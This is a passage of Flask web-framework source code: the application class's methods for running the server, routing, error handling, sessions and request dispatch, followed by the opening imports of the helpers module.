        If the :attr:`debug` flag is set the server will automatically reload
        for code changes and show a debugger in case an exception happened.

        If you want to run the application in debug mode, but disable the
        code execution on the interactive debugger, you can pass
        ``use_evalex=False`` as parameter.  This will keep the debugger's
        traceback screen active, but disable code execution.

        It is not recommended to use this function for development with
        automatic reloading as this is badly supported.  Instead you should
        be using the :command:`flask` command line script's ``run`` support.

        .. admonition:: Keep in Mind

           Flask will suppress any server error with a generic error page
           unless it is in debug mode.  As such to enable just the
           interactive debugger without the code reloading, you have to
           invoke :meth:`run` with ``debug=True`` and ``use_reloader=False``.
           Setting ``use_debugger`` to ``True`` without being in debug mode
           won't catch any exceptions because there won't be any to
           catch.

        .. versionchanged:: 0.10
           The default port is now picked from the ``SERVER_NAME`` variable.

        :param host: the hostname to listen on. Set this to ``'0.0.0.0'`` to
                     have the server available externally as well. Defaults to
                     ``'127.0.0.1'``.
        :param port: the port of the webserver. Defaults to ``5000`` or the
                     port defined in the ``SERVER_NAME`` config variable if
                     present.
        :param debug: if given, enable or disable debug mode.
                      See :attr:`debug`.
        :param options: the options to be forwarded to the underlying
                        Werkzeug server.  See
                        :func:`werkzeug.serving.run_simple` for more
                        information.
        """
        from werkzeug.serving import run_simple
        if host is None:
            host = '127.0.0.1'
        if port is None:
            server_name = self.config['SERVER_NAME']
            if server_name and ':' in server_name:
                port = int(server_name.rsplit(':', 1)[1])
            else:
                port = 5000
        if debug is not None:
            self.debug = bool(debug)
        options.setdefault('use_reloader', self.debug)
        options.setdefault('use_debugger', self.debug)
        options.setdefault('passthrough_errors', True)
        try:
            run_simple(host, port, self, **options)
        finally:
            # reset the first request information if the development server
            # resetted normally.  This makes it possible to restart the server
            # without reloader and that stuff from an interactive shell.
            self._got_first_request = False

    def test_client(self, use_cookies=True, **kwargs):
        """Creates a test client for this application.  For information
        about unit testing head over to :ref:`testing`.

        Note that if you are testing for assertions or exceptions in your
        application code, you must set ``app.testing = True`` in order for the
        exceptions to propagate to the test client.  Otherwise, the exception
        will be handled by the application (not visible to the test client) and
        the only indication of an AssertionError or other exception will be a
        500 status code response to the test client.  See the :attr:`testing`
        attribute.  For example::

            app.testing = True
            client = app.test_client()

        The test client can be used in a ``with`` block to defer the closing down
        of the context until the end of the ``with`` block.  This is useful if
        you want to access the context locals for testing::

            with app.test_client() as c:
                rv = c.get('/?vodka=42')
                assert request.args['vodka'] == '42'

        Additionally, you may pass optional keyword arguments that will then
        be passed to the application's :attr:`test_client_class` constructor.
        For example::

            from flask.testing import FlaskClient

            class CustomClient(FlaskClient):
                def __init__(self, authentication=None, *args, **kwargs):
                    FlaskClient.__init__(*args, **kwargs)
                    self._authentication = authentication

            app.test_client_class = CustomClient
            client = app.test_client(authentication='Basic ....')

        See :class:`~flask.testing.FlaskClient` for more information.

        .. versionchanged:: 0.4
           added support for ``with`` block usage for the client.

        .. versionadded:: 0.7
           The `use_cookies` parameter was added as well as the ability
           to override the client to be used by setting the
           :attr:`test_client_class` attribute.

        .. versionchanged:: 0.11
           Added `**kwargs` to support passing additional keyword arguments to
           the constructor of :attr:`test_client_class`.
        """
        cls = self.test_client_class
        if cls is None:
            from flask.testing import FlaskClient as cls
        return cls(self, self.response_class, use_cookies=use_cookies, **kwargs)

    def open_session(self, request):
        """Creates or opens a new session.  Default implementation stores all
        session data in a signed cookie.  This requires that the
        :attr:`secret_key` is set.  Instead of overriding this method
        we recommend replacing the :class:`session_interface`.

        :param request: an instance of :attr:`request_class`.
        """
        return self.session_interface.open_session(self, request)

    def save_session(self, session, response):
        """Saves the session if it needs updates.  For the default
        implementation, check :meth:`open_session`.  Instead of overriding this
        method we recommend replacing the :class:`session_interface`.

        :param session: the session to be saved (a
                        :class:`~werkzeug.contrib.securecookie.SecureCookie`
                        object)
        :param response: an instance of :attr:`response_class`
        """
        return self.session_interface.save_session(self, session, response)

    def make_null_session(self):
        """Creates a new instance of a missing session.  Instead of overriding
        this method we recommend replacing the :class:`session_interface`.

        .. versionadded:: 0.7
        """
        return self.session_interface.make_null_session(self)

    @setupmethod
    def register_blueprint(self, blueprint, **options):
        """Registers a blueprint on the application.

        .. versionadded:: 0.7
        """
        first_registration = False
        if blueprint.name in self.blueprints:
            assert self.blueprints[blueprint.name] is blueprint, \
                'A blueprint\'s name collision occurred between %r and ' \
                '%r.  Both share the same name "%s".  Blueprints that ' \
                'are created on the fly need unique names.' % \
                (blueprint, self.blueprints[blueprint.name], blueprint.name)
        else:
            self.blueprints[blueprint.name] = blueprint
            self._blueprint_order.append(blueprint)
            first_registration = True
        blueprint.register(self, options, first_registration)

    def iter_blueprints(self):
        """Iterates over all blueprints by the order they were registered.

        .. versionadded:: 0.11
        """
        return iter(self._blueprint_order)

    @setupmethod
    def add_url_rule(self, rule, endpoint=None, view_func=None, **options):
        """Connects a URL rule.  Works exactly like the :meth:`route`
        decorator.  If a view_func is provided it will be registered with the
        endpoint.

        Basically this example::

            @app.route('/')
            def index():
                pass

        Is equivalent to the following::

            def index():
                pass
            app.add_url_rule('/', 'index', index)

        If the view_func is not provided you will need to connect the endpoint
        to a view function like so::

            app.view_functions['index'] = index

        Internally :meth:`route` invokes :meth:`add_url_rule` so if you want
        to customize the behavior via subclassing you only need to change
        this method.

        For more information refer to :ref:`url-route-registrations`.

        .. versionchanged:: 0.2
           `view_func` parameter added.

        .. versionchanged:: 0.6
           ``OPTIONS`` is added automatically as method.

        :param rule: the URL rule as string
        :param endpoint: the endpoint for the registered URL rule.  Flask
                         itself assumes the name of the view function as
                         endpoint
        :param view_func: the function to call when serving a request to the
                          provided endpoint
        :param options: the options to be forwarded to the underlying
                        :class:`~werkzeug.routing.Rule` object.  A change
                        to Werkzeug is handling of method options.  methods
                        is a list of methods this rule should be limited
                        to (``GET``, ``POST`` etc.).  By default a rule
                        just listens for ``GET`` (and implicitly ``HEAD``).
                        Starting with Flask 0.6, ``OPTIONS`` is implicitly
                        added and handled by the standard request handling.
        """
        if endpoint is None:
            endpoint = _endpoint_from_view_func(view_func)
        options['endpoint'] = endpoint
        methods = options.pop('methods', None)

        # if the methods are not given and the view_func object knows its
        # methods we can use that instead.  If neither exists, we go with
        # a tuple of only ``GET`` as default.
        if methods is None:
            methods = getattr(view_func, 'methods', None) or ('GET',)
        if isinstance(methods, string_types):
            raise TypeError('Allowed methods have to be iterables of strings, '
                            'for example: @app.route(..., methods=["POST"])')
        methods = set(item.upper() for item in methods)

        # Methods that should always be added
        required_methods = set(getattr(view_func, 'required_methods', ()))

        # starting with Flask 0.8 the view_func object can disable and
        # force-enable the automatic options handling.
        provide_automatic_options = getattr(view_func,
            'provide_automatic_options', None)

        if provide_automatic_options is None:
            if 'OPTIONS' not in methods:
                provide_automatic_options = True
                required_methods.add('OPTIONS')
            else:
                provide_automatic_options = False

        # Add the required methods now.
        methods |= required_methods

        rule = self.url_rule_class(rule, methods=methods, **options)
        rule.provide_automatic_options = provide_automatic_options

        self.url_map.add(rule)
        if view_func is not None:
            old_func = self.view_functions.get(endpoint)
            if old_func is not None and old_func != view_func:
                raise AssertionError('View function mapping is overwriting an '
                                     'existing endpoint function: %s' % endpoint)
            self.view_functions[endpoint] = view_func

    def route(self, rule, **options):
        """A decorator that is used to register a view function for a
        given URL rule.  This does the same thing as :meth:`add_url_rule`
        but is intended for decorator usage::

            @app.route('/')
            def index():
                return 'Hello World'

        For more information refer to :ref:`url-route-registrations`.

        :param rule: the URL rule as string
        :param endpoint: the endpoint for the registered URL rule.  Flask
                         itself assumes the name of the view function as
                         endpoint
        :param options: the options to be forwarded to the underlying
                        :class:`~werkzeug.routing.Rule` object.  A change
                        to Werkzeug is handling of method options.  methods
                        is a list of methods this rule should be limited
                        to (``GET``, ``POST`` etc.).  By default a rule
                        just listens for ``GET`` (and implicitly ``HEAD``).
                        Starting with Flask 0.6, ``OPTIONS`` is implicitly
                        added and handled by the standard request handling.
        """
        def decorator(f):
            endpoint = options.pop('endpoint', None)
            self.add_url_rule(rule, endpoint, f, **options)
            return f
        return decorator

    @setupmethod
    def endpoint(self, endpoint):
        """A decorator to register a function as an endpoint.
        Example::

            @app.endpoint('example.endpoint')
            def example():
                return "example"

        :param endpoint: the name of the endpoint
        """
        def decorator(f):
            self.view_functions[endpoint] = f
            return f
        return decorator

    @staticmethod
    def _get_exc_class_and_code(exc_class_or_code):
        """Ensure that we register only exceptions as handler keys"""
        if isinstance(exc_class_or_code, integer_types):
            exc_class = default_exceptions[exc_class_or_code]
        else:
            exc_class = exc_class_or_code

        assert issubclass(exc_class, Exception)

        if issubclass(exc_class, HTTPException):
            return exc_class, exc_class.code
        else:
            return exc_class, None

    @setupmethod
    def errorhandler(self, code_or_exception):
        """A decorator that is used to register a function give a given
        error code.  Example::

            @app.errorhandler(404)
            def page_not_found(error):
                return 'This page does not exist', 404

        You can also register handlers for arbitrary exceptions::

            @app.errorhandler(DatabaseError)
            def special_exception_handler(error):
                return 'Database connection failed', 500

        You can also register a function as error handler without using
        the :meth:`errorhandler` decorator.  The following example is
        equivalent to the one above::

            def page_not_found(error):
                return 'This page does not exist', 404
            app.error_handler_spec[None][404] = page_not_found

        Setting error handlers via assignments to :attr:`error_handler_spec`
        however is discouraged as it requires fiddling with nested dictionaries
        and the special case for arbitrary exception types.

        The first ``None`` refers to the active blueprint.  If the error
        handler should be application wide ``None`` shall be used.

        .. versionadded:: 0.7
            Use :meth:`register_error_handler` instead of modifying
            :attr:`error_handler_spec` directly, for application wide error
            handlers.

        .. versionadded:: 0.7
           One can now additionally also register custom exception types
           that do not necessarily have to be a subclass of the
           :class:`~werkzeug.exceptions.HTTPException` class.

        :param code: the code as integer for the handler
        """
        def decorator(f):
            self._register_error_handler(None, code_or_exception, f)
            return f
        return decorator

    def register_error_handler(self, code_or_exception, f):
        """Alternative error attach function to the :meth:`errorhandler`
        decorator that is more straightforward to use for non decorator
        usage.

        .. versionadded:: 0.7
        """
        self._register_error_handler(None, code_or_exception, f)

    @setupmethod
    def _register_error_handler(self, key, code_or_exception, f):
        """
        :type key: None|str
        :type code_or_exception: int|T<=Exception
        :type f: callable
        """
        if isinstance(code_or_exception, HTTPException):  # old broken behavior
            raise ValueError(
                'Tried to register a handler for an exception instance {0!r}. '
                'Handlers can only be registered for exception classes or HTTP error codes.'
                .format(code_or_exception))

        exc_class, code = self._get_exc_class_and_code(code_or_exception)

        handlers = self.error_handler_spec.setdefault(key, {}).setdefault(code, {})
        handlers[exc_class] = f

    @setupmethod
    def template_filter(self, name=None):
        """A decorator that is used to register custom template filter.
        You can specify a name for the filter, otherwise the function
        name will be used. Example::

          @app.template_filter()
          def reverse(s):
              return s[::-1]

        :param name: the optional name of the filter, otherwise the
                     function name will be used.
        """
        def decorator(f):
            self.add_template_filter(f, name=name)
            return f
        return decorator

    @setupmethod
    def add_template_filter(self, f, name=None):
        """Register a custom template filter.  Works exactly like the
        :meth:`template_filter` decorator.

        :param name: the optional name of the filter, otherwise the
                     function name will be used.
        """
        self.jinja_env.filters[name or f.__name__] = f

    @setupmethod
    def template_test(self, name=None):
        """A decorator that is used to register custom template test.
        You can specify a name for the test, otherwise the function
        name will be used. Example::

          @app.template_test()
          def is_prime(n):
              if n == 2:
                  return True
              for i in range(2, int(math.ceil(math.sqrt(n))) + 1):
                  if n % i == 0:
                      return False
              return True

        .. versionadded:: 0.10

        :param name: the optional name of the test, otherwise the
                     function name will be used.
        """
        def decorator(f):
            self.add_template_test(f, name=name)
            return f
        return decorator

    @setupmethod
    def add_template_test(self, f, name=None):
        """Register a custom template test.  Works exactly like the
        :meth:`template_test` decorator.

        .. versionadded:: 0.10

        :param name: the optional name of the test, otherwise the
                     function name will be used.
        """
        self.jinja_env.tests[name or f.__name__] = f

    @setupmethod
    def template_global(self, name=None):
        """A decorator that is used to register a custom template global function.
        You can specify a name for the global function, otherwise the function
        name will be used. Example::

            @app.template_global()
            def double(n):
                return 2 * n

        .. versionadded:: 0.10

        :param name: the optional name of the global function, otherwise the
                     function name will be used.
        """
        def decorator(f):
            self.add_template_global(f, name=name)
            return f
        return decorator

    @setupmethod
    def add_template_global(self, f, name=None):
        """Register a custom template global function. Works exactly like the
        :meth:`template_global` decorator.

        .. versionadded:: 0.10

        :param name: the optional name of the global function, otherwise the
                     function name will be used.
        """
        self.jinja_env.globals[name or f.__name__] = f

    @setupmethod
    def before_request(self, f):
        """Registers a function to run before each request.

        The function will be called without any arguments.
        If the function returns a non-None value, it's handled as
        if it was the return value from the view and further
        request handling is stopped.
        """
        self.before_request_funcs.setdefault(None, []).append(f)
        return f

    @setupmethod
    def before_first_request(self, f):
        """Registers a function to be run before the first request to this
        instance of the application.

        The function will be called without any arguments and its return
        value is ignored.

        .. versionadded:: 0.8
        """
        self.before_first_request_funcs.append(f)
        return f

    @setupmethod
    def after_request(self, f):
        """Register a function to be run after each request.

        Your function must take one parameter, an instance of
        :attr:`response_class` and return a new response object or the
        same (see :meth:`process_response`).

        As of Flask 0.7 this function might not be executed at the end of the
        request in case an unhandled exception occurred.
        """
        self.after_request_funcs.setdefault(None, []).append(f)
        return f

    @setupmethod
    def teardown_request(self, f):
        """Register a function to be run at the end of each request,
        regardless of whether there was an exception or not.  These functions
        are executed when the request context is popped, even if not an
        actual request was performed.

        Example::

            ctx = app.test_request_context()
            ctx.push()
            ...
            ctx.pop()

        When ``ctx.pop()`` is executed in the above example, the teardown
        functions are called just before the request context moves from the
        stack of active contexts.  This becomes relevant if you are using
        such constructs in tests.

        Generally teardown functions must take every necessary step to avoid
        that they will fail.  If they do execute code that might fail they
        will have to surround the execution of these code by try/except
        statements and log occurring errors.

        When a teardown function was called because of a exception it will
        be passed an error object.

        The return values of teardown functions are ignored.

        .. admonition:: Debug Note

           In debug mode Flask will not tear down a request on an exception
           immediately.  Instead it will keep it alive so that the interactive
           debugger can still access it.  This behavior can be controlled
           by the ``PRESERVE_CONTEXT_ON_EXCEPTION`` configuration variable.
        """
        self.teardown_request_funcs.setdefault(None, []).append(f)
        return f

    @setupmethod
    def teardown_appcontext(self, f):
        """Registers a function to be called when the application context
        ends.  These functions are typically also called when the request
        context is popped.

        Example::

            ctx = app.app_context()
            ctx.push()
            ...
            ctx.pop()

        When ``ctx.pop()`` is executed in the above example, the teardown
        functions are called just before the app context moves from the
        stack of active contexts.  This becomes relevant if you are using
        such constructs in tests.

        Since a request context typically also manages an application
        context it would also be called when you pop a request context.

        When a teardown function was called because of an exception it will
        be passed an error object.

        The return values of teardown functions are ignored.

        .. versionadded:: 0.9
        """
        self.teardown_appcontext_funcs.append(f)
        return f

    @setupmethod
    def context_processor(self, f):
        """Registers a template context processor function."""
        self.template_context_processors[None].append(f)
        return f

    @setupmethod
    def shell_context_processor(self, f):
        """Registers a shell context processor function.

        .. versionadded:: 0.11
        """
        self.shell_context_processors.append(f)
        return f

    @setupmethod
    def url_value_preprocessor(self, f):
        """Registers a function as URL value preprocessor for all view
        functions of the application.  It's called before the view functions
        are called and can modify the url values provided.
        """
        self.url_value_preprocessors.setdefault(None, []).append(f)
        return f

    @setupmethod
    def url_defaults(self, f):
        """Callback function for URL defaults for all view functions of the
        application.  It's called with the endpoint and values and should
        update the values passed in place.
        """
        self.url_default_functions.setdefault(None, []).append(f)
        return f

    def _find_error_handler(self, e):
        """Finds a registered error handler for the request’s blueprint.
        Otherwise falls back to the app, returns None if not a suitable
        handler is found.
        """
        exc_class, code = self._get_exc_class_and_code(type(e))

        def find_handler(handler_map):
            if not handler_map:
                return
            queue = deque(exc_class.__mro__)
            # Protect from geniuses who might create circular references in
            # __mro__
            done = set()

            while queue:
                cls = queue.popleft()
                if cls in done:
                    continue
                done.add(cls)
                handler = handler_map.get(cls)
                if handler is not None:
                    # cache for next time exc_class is raised
                    handler_map[exc_class] = handler
                    return handler

                queue.extend(cls.__mro__)

        # try blueprint handlers
        handler = find_handler(self.error_handler_spec
                               .get(request.blueprint, {})
                               .get(code))
        if handler is not None:
            return handler

        # fall back to app handlers
        return find_handler(self.error_handler_spec[None].get(code))

    def handle_http_exception(self, e):
        """Handles an HTTP exception.  By default this will invoke the
        registered error handlers and fall back to returning the
        exception as response.

        .. versionadded:: 0.3
        """
        # Proxy exceptions don't have error codes.  We want to always return
        # those unchanged as errors
        if e.code is None:
            return e

        handler = self._find_error_handler(e)
        if handler is None:
            return e
        return handler(e)

    def trap_http_exception(self, e):
        """Checks if an HTTP exception should be trapped or not.  By default
        this will return ``False`` for all exceptions except for a bad request
        key error if ``TRAP_BAD_REQUEST_ERRORS`` is set to ``True``.  It
        also returns ``True`` if ``TRAP_HTTP_EXCEPTIONS`` is set to ``True``.

        This is called for all HTTP exceptions raised by a view function.
        If it returns ``True`` for any exception the error handler for this
        exception is not called and it shows up as regular exception in the
        traceback.  This is helpful for debugging implicitly raised HTTP
        exceptions.

        .. versionadded:: 0.8
        """
        if self.config['TRAP_HTTP_EXCEPTIONS']:
            return True
        if self.config['TRAP_BAD_REQUEST_ERRORS']:
            return isinstance(e, BadRequest)
        return False

    def handle_user_exception(self, e):
        """This method is called whenever an exception occurs that should be
        handled.  A special case are
        :class:`~werkzeug.exception.HTTPException`\s which are forwarded by
        this function to the :meth:`handle_http_exception` method.  This
        function will either return a response value or reraise the
        exception with the same traceback.

        .. versionadded:: 0.7
        """
        exc_type, exc_value, tb = sys.exc_info()
        assert exc_value is e

        # ensure not to trash sys.exc_info() at that point in case someone
        # wants the traceback preserved in handle_http_exception.  Of course
        # we cannot prevent users from trashing it themselves in a custom
        # trap_http_exception method so that's their fault then.

        if isinstance(e, HTTPException) and not self.trap_http_exception(e):
            return self.handle_http_exception(e)

        handler = self._find_error_handler(e)

        if handler is None:
            reraise(exc_type, exc_value, tb)
        return handler(e)

    def handle_exception(self, e):
        """Default exception handling that kicks in when an exception
        occurs that is not caught.  In debug mode the exception will
        be re-raised immediately, otherwise it is logged and the handler
        for a 500 internal server error is used.  If no such handler
        exists, a default 500 internal server error message is displayed.

        .. versionadded:: 0.3
        """
        exc_type, exc_value, tb = sys.exc_info()

        got_request_exception.send(self, exception=e)
        handler = self._find_error_handler(InternalServerError())

        if self.propagate_exceptions:
            # if we want to repropagate the exception, we can attempt to
            # raise it with the whole traceback in case we can do that
            # (the function was actually called from the except part)
            # otherwise, we just raise the error again
            if exc_value is e:
                reraise(exc_type, exc_value, tb)
            else:
                raise e

        self.log_exception((exc_type, exc_value, tb))
        if handler is None:
            return InternalServerError()
        return handler(e)

    def log_exception(self, exc_info):
        """Logs an exception.  This is called by :meth:`handle_exception`
        if debugging is disabled and right before the handler is called.
        The default implementation logs the exception as error on the
        :attr:`logger`.

        .. versionadded:: 0.8
        """
        self.logger.error('Exception on %s [%s]' % (
            request.path,
            request.method
        ), exc_info=exc_info)

    def raise_routing_exception(self, request):
        """Exceptions that are recording during routing are reraised with
        this method.  During debug we are not reraising redirect requests
        for non ``GET``, ``HEAD``, or ``OPTIONS`` requests and we're raising
        a different error instead to help debug situations.

        :internal:
        """
        if not self.debug \
           or not isinstance(request.routing_exception, RequestRedirect) \
           or request.method in ('GET', 'HEAD', 'OPTIONS'):
            raise request.routing_exception

        from .debughelpers import FormDataRoutingRedirect
        raise FormDataRoutingRedirect(request)

    def dispatch_request(self):
        """Does the request dispatching.  Matches the URL and returns the
        return value of the view or error handler.  This does not have to
        be a response object.  In order to convert the return value to a
        proper response object, call :func:`make_response`.

        .. versionchanged:: 0.7
           This no longer does the exception handling, this code was
           moved to the new :meth:`full_dispatch_request`.
        """
        req = _request_ctx_stack.top.request
        if req.routing_exception is not None:
            self.raise_routing_exception(req)
        rule = req.url_rule
        # if we provide automatic options for this URL and the
        # request came with the OPTIONS method, reply automatically
        if getattr(rule, 'provide_automatic_options', False) \
           and req.method == 'OPTIONS':
            return self.make_default_options_response()
        # otherwise dispatch to the handler for that endpoint
        return self.view_functions[rule.endpoint](**req.view_args)

    def full_dispatch_request(self):
        """Dispatches the request and on top of that performs request
        pre and postprocessing as well as HTTP exception catching and
        error handling.

        .. versionadded:: 0.7
        """
        self.try_trigger_before_first_request_functions()
        try:
            request_started.send(self)
            rv = self.preprocess_request()
            if rv is None:
                rv = self.dispatch_request()
        except Exception as e:
            rv = self.handle_user_exception(e)
        response = self.make_response(rv)
        response = self.process_response(response)
        request_finished.send(self, response=response)
        return response

    def try_trigger_before_first_request_functions(self):
        """Called before each request and will ensure that it triggers
        the :attr:`before_first_request_funcs` and only exactly once per
        application instance (which means process usually).

        :internal:
        """
        if self._got_first_request:
            return
        with self._before_request_lock:
            if self._got_first_request:
                return
            for func in self.before_first_request_funcs:
                func()
            self._got_first_request = True

    def make_default_options_response(self):
        """This method is called to create the default ``OPTIONS`` response.
        This can be changed through subclassing to change the default
        behavior of ``OPTIONS`` responses.

        .. versionadded:: 0.7
        """
        adapter = _request_ctx_stack.top.url_adapter
        if hasattr(adapter, 'allowed_methods'):
            methods = adapter.allowed_methods()
        else:
            # fallback for Werkzeug < 0.7
            methods = []
            try:
                adapter.match(method='--')
            except MethodNotAllowed as e:
                methods = e.valid_methods
            except HTTPException as e:
                pass
        rv = self.response_class()
        rv.allow.update(methods)
        return rv

    def should_ignore_error(self, error):
        """This is called to figure out if an error should be ignored
        or not as far as the teardown system is concerned.  If this
        function returns ``True`` then the teardown handlers will not be
        passed the error.

        .. versionadded:: 0.10
        """
        return False

    def make_response(self, rv):
        """Converts the return value from a view function to a real
        response object that is an instance of :attr:`response_class`.

        The following types are allowed for `rv`:

        .. tabularcolumns:: |p{3.5cm}|p{9.5cm}|

        ======================= ===========================================
        :attr:`response_class`  the object is returned unchanged
        :class:`str`            a response object is created with the
                                string as body
        :class:`unicode`        a response object is created with the
                                string encoded to utf-8 as body
        a WSGI function         the function is called as WSGI application
                                and buffered as response object
        :class:`tuple`          A tuple in the form ``(response, status,
                                headers)`` or ``(response, headers)``
                                where `response` is any of the
                                types defined here, `status` is a string
                                or an integer and `headers` is a list or
                                a dictionary with header values.
        ======================= ===========================================

        :param rv: the return value from the view function

        .. versionchanged:: 0.9
           Previously a tuple was interpreted as the arguments for the
           response object.
        """
        status_or_headers = headers = None
        if isinstance(rv, tuple):
            rv, status_or_headers, headers = rv + (None,) * (3 - len(rv))

        if rv is None:
            raise ValueError('View function did not return a response')

        if isinstance(status_or_headers, (dict, list)):
            headers, status_or_headers = status_or_headers, None

        if not isinstance(rv, self.response_class):
            # When we create a response object directly, we let the constructor
            # set the headers and status.  We do this because there can be
            # some extra logic involved when creating these objects with
            # specific values (like default content type selection).
            if isinstance(rv, (text_type, bytes, bytearray)):
                rv = self.response_class(rv, headers=headers,
                                         status=status_or_headers)
                headers = status_or_headers = None
            else:
                rv = self.response_class.force_type(rv, request.environ)

        if status_or_headers is not None:
            if isinstance(status_or_headers, string_types):
                rv.status = status_or_headers
            else:
                rv.status_code = status_or_headers
        if headers:
            rv.headers.extend(headers)

        return rv

    def create_url_adapter(self, request):
        """Creates a URL adapter for the given request.  The URL adapter
        is created at a point where the request context is not yet set up
        so the request is passed explicitly.

        .. versionadded:: 0.6

        .. versionchanged:: 0.9
           This can now also be called without a request object when the
           URL adapter is created for the application context.
        """
        if request is not None:
            return self.url_map.bind_to_environ(request.environ,
                server_name=self.config['SERVER_NAME'])
        # We need at the very least the server name to be set for this
        # to work.
        if self.config['SERVER_NAME'] is not None:
            return self.url_map.bind(
                self.config['SERVER_NAME'],
                script_name=self.config['APPLICATION_ROOT'] or '/',
                url_scheme=self.config['PREFERRED_URL_SCHEME'])

    def inject_url_defaults(self, endpoint, values):
        """Injects the URL defaults for the given endpoint directly into
        the values dictionary passed.  This is used internally and
        automatically called on URL building.

        .. versionadded:: 0.7
        """
        funcs = self.url_default_functions.get(None, ())
        if '.' in endpoint:
            bp = endpoint.rsplit('.', 1)[0]
            funcs = chain(funcs, self.url_default_functions.get(bp, ()))
        for func in funcs:
            func(endpoint, values)

    def handle_url_build_error(self, error, endpoint, values):
        """Handle :class:`~werkzeug.routing.BuildError` on :meth:`url_for`.
        """
        exc_type, exc_value, tb = sys.exc_info()
        for handler in self.url_build_error_handlers:
            try:
                rv = handler(error, endpoint, values)
                if rv is not None:
                    return rv
            except BuildError as e:
                # make error available outside except block (py3)
                error = e

        # At this point we want to reraise the exception.  If the error is
        # still the same one we can reraise it with the original traceback,
        # otherwise we raise it from here.
        if error is exc_value:
            reraise(exc_type, exc_value, tb)
        raise error

    def preprocess_request(self):
        """Called before the actual request dispatching and will
        call each :meth:`before_request` decorated function, passing no
        arguments.
        If any of these functions returns a value, it's handled as
        if it was the return value from the view and further
        request handling is stopped.

        This also triggers the :meth:`url_value_preprocessor` functions before
        the actual :meth:`before_request` functions are called.
        """
        bp = _request_ctx_stack.top.request.blueprint

        funcs = self.url_value_preprocessors.get(None, ())
        if bp is not None and bp in self.url_value_preprocessors:
            funcs = chain(funcs, self.url_value_preprocessors[bp])
        for func in funcs:
            func(request.endpoint, request.view_args)

        funcs = self.before_request_funcs.get(None, ())
        if bp is not None and bp in self.before_request_funcs:
            funcs = chain(funcs, self.before_request_funcs[bp])
        for func in funcs:
            rv = func()
            if rv is not None:
                return rv

    def process_response(self, response):
        """Can be overridden in order to modify the response object
        before it's sent to the WSGI server.  By default this will
        call all the :meth:`after_request` decorated functions.

        .. versionchanged:: 0.5
           As of Flask 0.5 the functions registered for after request
           execution are called in reverse order of registration.

        :param response: a :attr:`response_class` object.
        :return: a new response object or the same, has to be an
                 instance of :attr:`response_class`.
        """
        ctx = _request_ctx_stack.top
        bp = ctx.request.blueprint
        funcs = ctx._after_request_functions
        if bp is not None and bp in self.after_request_funcs:
            funcs = chain(funcs, reversed(self.after_request_funcs[bp]))
        if None in self.after_request_funcs:
            funcs = chain(funcs, reversed(self.after_request_funcs[None]))
        for handler in funcs:
            response = handler(response)
        if not self.session_interface.is_null_session(ctx.session):
            self.save_session(ctx.session, response)
        return response

    def do_teardown_request(self, exc=_sentinel):
        """Called after the actual request dispatching and will
        call every as :meth:`teardown_request` decorated function.  This is
        not actually called by the :class:`Flask` object itself but is always
        triggered when the request context is popped.  That way we have a
        tighter control over certain resources under testing environments.

        .. versionchanged:: 0.9
           Added the `exc` argument.  Previously this was always using the
           current exception information.
        """
        if exc is _sentinel:
            exc = sys.exc_info()[1]
        funcs = reversed(self.teardown_request_funcs.get(None, ()))
        bp = _request_ctx_stack.top.request.blueprint
        if bp is not None and bp in self.teardown_request_funcs:
            funcs = chain(funcs, reversed(self.teardown_request_funcs[bp]))
        for func in funcs:
            func(exc)
        request_tearing_down.send(self, exc=exc)

    def do_teardown_appcontext(self, exc=_sentinel):
        """Called when an application context is popped.  This works pretty
        much the same as :meth:`do_teardown_request` but for the application
        context.

        .. versionadded:: 0.9
        """
        if exc is _sentinel:
            exc = sys.exc_info()[1]
        for func in reversed(self.teardown_appcontext_funcs):
            func(exc)
        appcontext_tearing_down.send(self, exc=exc)

    def app_context(self):
        """Binds the application only.  For as long as the application is bound
        to the current context the :data:`flask.current_app` points to that
        application.  An application context is automatically created when a
        request context is pushed if necessary.

        Example usage::

            with app.app_context():
                ...

        .. versionadded:: 0.9
        """
        return AppContext(self)

    def request_context(self, environ):
        """Creates a :class:`~flask.ctx.RequestContext` from the given
        environment and binds it to the current context.  This must be used in
        combination with the ``with`` statement because the request is only bound
        to the current context for the duration of the ``with`` block.

        Example usage::

            with app.request_context(environ):
                do_something_with(request)

        The object returned can also be used without the ``with`` statement
        which is useful for working in the shell.  The example above is
        doing exactly the same as this code::

            ctx = app.request_context(environ)
            ctx.push()
            try:
                do_something_with(request)
            finally:
                ctx.pop()

        .. versionchanged:: 0.3
           Added support for non-with statement usage and ``with`` statement
           is now passed the ctx object.

        :param environ: a WSGI environment
        """
        return RequestContext(self, environ)

    def test_request_context(self, *args, **kwargs):
        """Creates a WSGI environment from the given values (see
        :class:`werkzeug.test.EnvironBuilder` for more information, this
        function accepts the same arguments).
        """
        from flask.testing import make_test_environ_builder
        builder = make_test_environ_builder(self, *args, **kwargs)
        try:
            return self.request_context(builder.get_environ())
        finally:
            builder.close()

    def wsgi_app(self, environ, start_response):
        """The actual WSGI application.  This is not implemented in
        `__call__` so that middlewares can be applied without losing a
        reference to the class.  So instead of doing this::

            app = MyMiddleware(app)

        It's a better idea to do this instead::

            app.wsgi_app = MyMiddleware(app.wsgi_app)

        Then you still have the original application object around and
        can continue to call methods on it.

        .. versionchanged:: 0.7
           The behavior of the before and after request callbacks was changed
           under error conditions and a new callback was added that will
           always execute at the end of the request, independent on if an
           error occurred or not.  See :ref:`callbacks-and-errors`.

        :param environ: a WSGI environment
        :param start_response: a callable accepting a status code,
                               a list of headers and an optional
                               exception context to start the response
        """
        ctx = self.request_context(environ)
        ctx.push()
        error = None
        try:
            try:
                response = self.full_dispatch_request()
            except Exception as e:
                error = e
                response = self.make_response(self.handle_exception(e))
            return response(environ, start_response)
        finally:
            if self.should_ignore_error(error):
                error = None
            ctx.auto_pop(error)

    def __call__(self, environ, start_response):
        """Shortcut for :attr:`wsgi_app`."""
        return self.wsgi_app(environ, start_response)

    def __repr__(self):
        return '<%s %r>' % (
            self.__class__.__name__,
            self.name,
        )






# -*- coding: utf-8 -*-
"""
    flask.helpers
    ~~~~~~~~~~~~~

    Implements various helpers.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

import os
import sys
import pkgutil
import posixpath
import mimetypes
from time import time
from zlib import adler32
from threading import RLock
from werkzeug.routing import BuildError
from functools import update_wrapper

try:
    from werkzeug.urls import url_quote
except ImportError:
    from urlparse import quote as url_quote

from werkzeug.datastructures import Headers
from werkzeug.exceptions import BadRequest, NotFound

# this was moved in 0.7
try:
    from werkzeug.wsgi import wrap_file
except ImportError:
    from werkzeug.utils import wrap_file

from jinja2 import FileSystemLoader

